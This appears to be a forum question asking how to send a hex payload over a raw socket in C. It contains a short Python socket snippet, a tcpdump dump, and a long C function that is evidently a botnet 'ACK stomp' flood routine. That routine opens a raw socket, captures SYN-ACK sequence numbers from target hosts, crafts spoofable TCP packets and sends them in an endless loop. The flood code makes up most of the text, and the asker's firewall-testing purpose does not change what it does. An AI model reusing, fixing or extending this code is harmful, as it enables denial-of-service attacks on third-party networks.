I need to send a hex data within raw socket in C.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #OPENS NEW SOCKET
inputHex = binascii.unhexlify("1000020a4767b525156d5de2957833a5")
s.connect((ip,port))#SOCKET CONNECTION
s.send(inputHex)
This python script works well but i can't get it work in C
char* user_payload = attack_get_opt_str(opts_len, opts, ATK_OPT_PAYLOAD, NULL);
if (user_payload) {
data_len = util_strlen(user_payload);
randmin = data_len;
randmax = data_len;
}
// Set up receive socket
if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
//printf("Could not open raw socket!\n");
return NULL;
}
i = 1;
if (setsockopt(rfd, IPPROTO_IP ,IP_HDRINCL, &i, sizeof (int)) == -1)
{
//printf("Failed to set IP_HDRINCL. Aborting\n");
close(rfd);
return NULL;
}
// Retrieve all ACK/SEQ numbers
for (i = 0; i < targs_len; i++)
{
int fd;
struct sockaddr_in addr, recv_addr;
socklen_t recv_addr_len;
char pktbuf[256];
time_t start_recv;
stomp_setup_nums:
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
//printf("Failed to create socket!\n");
continue;
}
//Set it in nonblocking mode
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
// Set up address to connect to
addr.sin_family = AF_INET;
if (targs[i].netmask < 32)
addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
else
addr.sin_addr.s_addr = targs[i].addr;
if (dport == 0xffff)
addr.sin_port = rand_next() & 0xffff;
else
addr.sin_port = htons(dport);
// Actually connect, nonblocking
connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
//usleep(500000);
start_recv = time(NULL);
// Get info
while (TRUE)
{
int ret;
recv_addr_len = sizeof (struct sockaddr_in);
ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
if (ret == -1)
{
#ifdef DEBUG
//printf("Could not listen on raw socket!\n");
#endif
return NULL;
}
if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
{
struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));
if (tcph->source == addr.sin_port)
{
if (tcph->syn && tcph->ack)
{
char *payload;
stomp_data[i].addr = addr.sin_addr.s_addr;
stomp_data[i].seq = ntohl(tcph->seq);
stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
stomp_data[i].sport = tcph->dest;
stomp_data[i].dport = tcph->source;
#ifdef DEBUG
//printf("ACK Stomp got SYN+ACK!\n");
#endif
// Set up the packet
struct iphdr *iph;
struct tcphdr *tcph;
pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph = (struct iphdr *)pkts[i];
tcph = (struct tcphdr *)(iph + 1);
payload = (char *)(tcph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = 0;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph->id = htons(0xffff);
iph->ttl = ip_ttl;
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_TCP;
iph->saddr = LOCAL_ADDR;
iph->daddr = stomp_data[i].addr;
tcph->source = stomp_data[i].sport;
tcph->dest = stomp_data[i].dport;
tcph->doff = 5;
tcph->fin = TRUE;
tcph->ack = TRUE;
tcph->urg = urg_fl;
tcph->ack = ack_fl;
tcph->psh = psh_fl;
tcph->rst = rst_fl;
tcph->syn = syn_fl;
tcph->fin = fin_fl;
rand_str(payload, data_len);
break;
}
else if (tcph->fin || tcph->rst)
{
close(fd);
goto stomp_setup_nums;
}
}
}
if (time(NULL) - start_recv > 10)
{
#ifdef DEBUG
//printf("Couldn't connect to host for ACK Stomp in time. Retrying\n");
#endif
close(fd);
goto stomp_setup_nums;
}
}
}
// Start spewing out traffic
//printf("Sending\n");
BOOL set_payload = FALSE;
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
char *data = (char *)(tcph + 1);
iph->id = rand_next() & 0xffff;
if (!user_payload)
rand_str(data, data_len);
else {
if (!set_payload) {
util_memcpy(data, user_payload, data_len);
set_payload = TRUE;
}
}
if (sleeptime != 0)
usleep(sleeptime);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
tcph->window = htons(64000 + (rand_next()%1500)); // Randomize Window in every packet
tcph->seq = htons(stomp_data[i].ack_seq++);
tcph->ack_seq = htons(stomp_data[i].seq);
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
targs[i].sock_addr.sin_port = tcph->dest;
sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
}
}
As it look in tcpdump it sends the data as string
The purpose in doing that is creating a firewall that checks the payload in hex with the first incoming psh.ack packet. If it is the correct hex then you will pass.
0x0000: 4500 0048 a6b5 0000 4006 0018 c0a8 3480 E..H....@.....4.
0x0010: 2f5a af60 9342 1625 c07a cadd 7c35 100a /Z.`.B.%.z..|5..
0x0020: 58d8 faf0 4148 1608 3130 3030 3032 3061 X...AH..1000020a
0x0030: 3034 3430 6235 3235 3135 3664 3564 6532 0440b525156d5de2
0x0040: 3634 3839 3333 6135 648933a5